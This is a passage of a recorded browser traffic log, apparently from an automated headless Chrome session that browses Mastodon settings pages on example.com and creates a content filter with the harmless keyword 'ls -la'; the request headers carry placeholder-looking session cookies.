_mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzcuNTE3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3e7c54b28369188badc6f8f5bfa586770bb7e8a7; _mastodon_session=XG1JBX9t9GQ%2FXvhB00Fxs6T4bV20mNlRFWssv4JmGJgIMso%2F2Y8oTL25pkcKiLbmNA0sBcJIWoJVCVP53UwVofCfP1H5kH336QYqo7EEThCFKa6XtpSta7lbSpjEpZYK3z2O%2BKpmTT%2BpxhC1KtvMrN3JwHovOJ3Wv3qkz2GnVuOi8%2BdPSvOmRTqJVNS9VS6OBe1kriv3wkBehd9%2FaMupwZmG2hjKTmjSQ4utuDreCaYxz9nX6%2FYq%2FdMpEMEPV6lMwrJxqMez3UJiU8L4r%2BOXMYLj%2B48bHhGamERy4HnE66R2%2FES10SxAjGBzzVSS%2BUjfASQfBzsrMb814nMiS3vgzuWrRKXGoO7GdFTmJuk5741%2FrUqzDxwlVKkwlAq3jH4WzSAroOrsI02a--BRX%2BwQfrnNolRoFW--lN7N80Wre%2F4BfT6emfcRaw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/initial_state-DnZ5UeDQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/privacy", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTIuOTg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f06c4a187472007ec80e4e16dd7c7bc5407eba76; _mastodon_session=QzNd%2B7s6RDu2pZvOPvursIx0RViZPk4FjWVqadE7TJbySS7hzA7ax3JucFyHA6ebS5NmsSJzo3Rq5a4wj%2BO%2FjwLYUM4CNUr8R8XsW7osNO39Q9Kd1m0ZafMiTXoflmIrtxu2TL%2BG6nzjRK3FCoQIv31CGtJhvA%2FBnD%2FGfsVe37lfH5ET94Wcf1dlHyEJfgW9nPpK08GhHMva7gbBrAOvIx9%2BjFRg%2FY4%2BLh27Z%2Bp9zO7JWg46LMTwosPT3WUA6LE3PVJuVS5bu2KxMlNU1PrNerK2aejiaqH13tdafiReP%2BCozkXm4UVvqSIhr%2BuGL9glbZSW6w2Pmwe886p1oTygtBtPOUkfQndAyDDHGpL6ABzJayJctEvyxDaGBXCB5gG4klAZMsRieMwA--1iV1U2xDOJ3%2F5PPZ--zld9kYcPYij9nhIL1AcMhQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/inert-1no54Nn4.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/settings/preferences/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/filters/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTguNTMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--24e18be452656feeab86ad6cb063cc017e5d9d2b; _mastodon_session=RMx%2BzbbCPxKsZLL8xfC2vJk2gUMp%2F7NzSrirNmOuKt0YoaZ0X2oFOG4c9ggZmd%2FO%2Bd7BzMzTP0BIQv4cDxdb0r2Z%2FYZRAV94puVDupS7sU1yXzK21BHq5V4ikIm53DJL76wgr%2BWQ7197g188iWFzwMIB9YQsq0onkxgxXwdlcOEsGhGyjCndxCcR42rM2SBAfuafvEAKzgl43lslIXavoAwPcfGeJkB%2F8vYlid8nkj2r5l8QWaoNDnHMyE8VVbipYp3SWQ1iqUwLF4dQt9S2OZ8PI5oH%2FiJFEPO%2FEk%2BJ%2B2%2Fs%2BWvZQUZy3tv5JCUYK4QWZKxW58QyZQVkMuOzTT9BvOIzvri1ZtsQk1aZnESH%2FSB8V%2F%2FpGPz%2B3TiYO8HlMh8FRtpE32FTMJ7Z--o7%2BacWwQZ76tpCov--%2F4geSPBo1DUX4hIfR58gSg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "POST", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDEuMzgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3ef4e1eba59269a07dcb045c6e8b15ad45f1d01a; _mastodon_session=%2B9RgFTwPbZGW3O4wyerudZE3lQeFvkltxfc%2Bs1nVBtc41FJpyWfWCsP0ZbR4%2BtwOSk4%2BsYQKr69ex9wcbfuKOr9iEZdr7jXVH1gt6Kocc5jsBR3elyIy3kYY%2FEeccGypPkM%2FCX5tZ1TMZ496hnvWA%2BBmqXHFXigDSP9GeIMLDAIFOEpGhqFvqwtHb7eH2t7%2FZTDusiNAx0S1Vb6%2B73en5l88AMuUygZrtQcDt70p9bajUkkzYx8qaCAgR8Ory9UTuQGHdXQUdsp7D5P3Kg7znfuSjiZyhlD5zrEB65nFKC4bGHUhgDS3JkXyf6VCnD7Mdl32zcWwKEdwE9XMdTf2TLtMjxxfNuBb%2F6GpzZHJDVBwCGmGNoUTlkWS9Jss1uNBea6kEcK%2FZDtJ--4%2F9voX%2BPMZz4aFrc--aLd9K%2F0Ub4dLGCAlJ5jO2w%3D%3D"], "body": "authenticity_token=LCIEgZ6K9rFHJBmbiyRj7sTI_8bL-kYEWpQz-egbprRCcaVdeI9WtKHk-qQyHULW-raiPye2V3Hgz9YnyRtHZA&custom_filter%5Btitle%5D=python3+spam&custom_filter%5Bexpires_in%5D=&custom_filter%5Bcontext%5D%5B%5D=&custom_filter%5Bcontext%5D%5B%5D=home&custom_filter%5Bfilter_action%5D=&custom_filter%5Bfilter_action%5D=warn&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bkeyword%5D=ls+-la&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=0&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=1&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5B_destroy%5D=false&button="}
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--178fc96acb0068990cfc47d1551418883e144e0e; _mastodon_session=M8BBwxBD6z2zVijTYQmWtBt42qydXsvrjpU%2FMAplQl7qSFExeglqxNFkX2aPWd9cSLZYcxAeamBlQjaqLDmtmz%2FuWpUNgsEVm%2F8SHPR7GdTF1QQIocbAoKb4YGpOyiJ3YcJ5Iwty69rtVG9bcFzaSXZoMMVq25d8JzJOyEplsTady12gtd%2BbLR9w2hcyCkniy4986Hu%2B2jCHjPOlvmoQGlcSIIxvLsfUT6eTTQEqG8gcuoTzuhkatxHi5MZMyxAAmgMvRKDtJm1jQ9oJ3dBY%2FWblWoawPfQdXwrvV9lP5ZtMeaKS5tTAt3JuANfyQvW%2FHSAsmthyMHpac0DZVTJyzniJhuVpivDwaRgzfpUWCvy1JvYOOWG38Elrq1BiNa8JWxnX71wjsCSQ--RXbqThSrLHijr5GF--gmYkVzz5ddwHpcscdf1zaA%3D%3D"], "body": ""}
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/filters", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuNjc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6a2a520b7bb8cd2a1e069c68a59f6aff417a3c58; _mastodon_session=JGc3Zy3GwJnO%2FnjN3s1MDvdTMThgp3mxaKnwcdjMf76Acsmgzopa6hB49OsB0DlCj9NaJTLy5z9yTAp6UXyWxHuJ3%2FAviboiVagtHcFT4MZjo2HiPkAc2kFAdEOvtz6s0HxCnWrXbSNObKf2%2FX%2FN1Tp33q4vAKi2Gcln7epjktt4XU7EBYMH585hLXlvyDWBuePpo08FUwKSlS6JjUMEAafep31NB0MKIScUUPRuEMaF8dVN%2BZoGKQcIbJnNJniGlx1Ab1UImi1%2B8rmEiZkRVtl2dhVx7dUp4oPNH%2Brweuieo5zu1ddHO1SKpUvvwVwjUPem1Ql2YA6nuHNYf6J4oMNMma7%2F2JBV7OXNambFVwv9u%2BBMQcbeWaAnXnddhl6%2FoY%2B0mdbTZa2T--g1Gw6aiczSsJ9UDJ--BAemydruKgwRPMZvem4Q%2BA%3D%3D"], "body": ""}
